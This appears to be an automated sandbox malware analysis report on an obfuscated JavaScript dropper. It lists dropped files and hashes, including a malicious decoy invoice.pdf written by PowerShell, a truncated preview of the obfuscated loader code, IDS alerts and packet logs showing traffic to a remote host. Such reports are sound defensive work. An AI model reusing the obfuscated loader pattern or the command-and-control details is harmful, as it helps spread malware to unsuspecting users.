Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\661bd608-4bc2-4145-b6a7-892c7039c857.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b1f319d9-9b6f-4c43-a186-afc93d15039e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yowYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:twZG6b3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	8D04FDC5022E491B91EC6B32F003430B
SHA1:	6619D46E06076B5669D4CC677D6D8F638189E46A
SHA-256:	7682C53053D66EF0B1A89335C88C4420226B10AFAC87A286E6E1A6BC795FEE61
SHA-512:	AA96FA56D3C5C4200BAA917D3091ADB1A5FAE7D534DD9C909D8B60AE13E902D6B71D42C2823319483414987E4B41079FA241B3D0A384EE4B281B63F834917E7D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17169), with CRLF line terminators
Entropy (8bit):	4.9194407187808515
TrID:
File name:	2640024673100216355.js
File size:	20'744 bytes
MD5:	4ee0add0da124377bd731858ff9f1114
SHA1:	015cd918743d667a99c7f4cd9f6b8984c3603c8f
SHA256:	b529c13318bec0fcc9a343ef924440807392c81bbfa440d69e818c91d7bf59b6
SHA512:	7647fcc393791084da3b832d19cdcd5f8478ef053686c6284bad1b26dd6a960980bdad3fb830f77c8c2424af0309a3b6aaeca7e133965f84451713d6ab4c3f17
SSDEEP:	192:8rMEM3MMRM5rFa8toQwhY2PKrITVbhu4104TO4zSwCzxbgY0tZFVhag3DlyC1E6/:XCa8tLxrvIMTJFmL0Fdp84e
TLSH:	219235C5CE681F9A43C40865A0E732AE13BD11B8CEF700D90D8564D7F7AB91569E28FB
File Content Preview:	function fwugsbzm(){xsmzs=[1031,3079,5127,4103,2055,3072];var odzqk=this[highpzlyz+isqazh+dkfweu+pxndrkgaq+tpzou+ibfug+bkkpfdya+xbpimprmg](this[wndsm+zeakgwv+tvvriq+dkfweu+xnlpxe+highpzlyz+xbpimprmg][lpxaioze+dkfweu+tpzou+isqazh+xbpimprmg+tpzou+tpcjhwun+b

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:44:42.152787+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-10T23:44:44.680612+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:44:41.237519979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:41.320472956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:41.320744991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:41.325700998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:41.330579042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152681112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152735949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152750015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152760983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152782917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152786970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.152803898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152816057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152822018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.152827978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152842999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152846098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.152858973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.152861118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.152900934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.206784010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.206804037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.206973076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.277075052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.277091026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.277164936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.277164936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.277173996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.277220964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.277333021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.277369976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.277421951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.277421951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.277435064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.277487993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.278032064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278045893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278069019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278080940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278083086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.278098106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278131008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.278939009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278950930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278961897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278980970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.278992891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.278995991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.279011965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.279047966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.279870987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.279881954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.279895067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.279910088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.279922962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.279962063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.281996965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.331286907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.340131998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.340145111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.340228081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.340281010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.340293884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.340361118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.368694067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.368705988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.368844986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.401885033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.401894093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.401901007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.401951075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.401952982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.401963949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.401967049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.402010918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.402034998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.402338982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.402360916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.402373075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.402400970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.402406931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.402446985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.403127909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403194904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403215885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403230906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403250933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.403278112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.403295040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403306007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403325081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403345108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.403650999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403666019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403678894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403695107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403700113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.403707981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.403724909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.403755903 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.404082060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.404128075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.404155016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.404156923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.404181957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.404212952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.404237986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.404248953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.404264927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.404273033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.404289961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.404318094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.405226946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.405245066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.405257940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.405271053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.405286074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.405288935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.405298948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.405313015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.405313969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.405337095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.405348063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.405384064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.406064987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.406086922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.406097889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.406127930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.406132936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.406193018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.431754112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.431768894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.431781054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.431927919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.460529089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.460555077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.460568905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.460582972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.460583925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.460594893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.460608959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.460617065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.460953951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.493602037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.493619919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.493675947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527051926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527071953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527092934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527124882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527146101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527158976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527172089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527187109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527230978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527231932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527231932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527231932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527400017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527446985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527481079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527493000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527506113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527534008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527546883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527559996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527590990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527771950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527822018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527827024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527841091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527853012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527889013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527893066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527904987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527931929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.527935982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.527975082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.528292894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528318882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528362989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.528384924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528395891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528408051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528420925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528438091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528439045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.528456926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528465033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.528492928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.528527975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528538942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528552055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528572083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.528584003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.528609991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.529212952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529237032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529251099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529273987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529284954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.529314041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.529356003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529367924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529391050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529405117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529411077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.529438019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.529503107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529520988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529536009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529548883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.529567957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.529592991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:44:42.530133009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530211926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530225039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530241013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530256033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:44:42.530267000 CET	49709	80	192.168.2.6	193.143.1.205
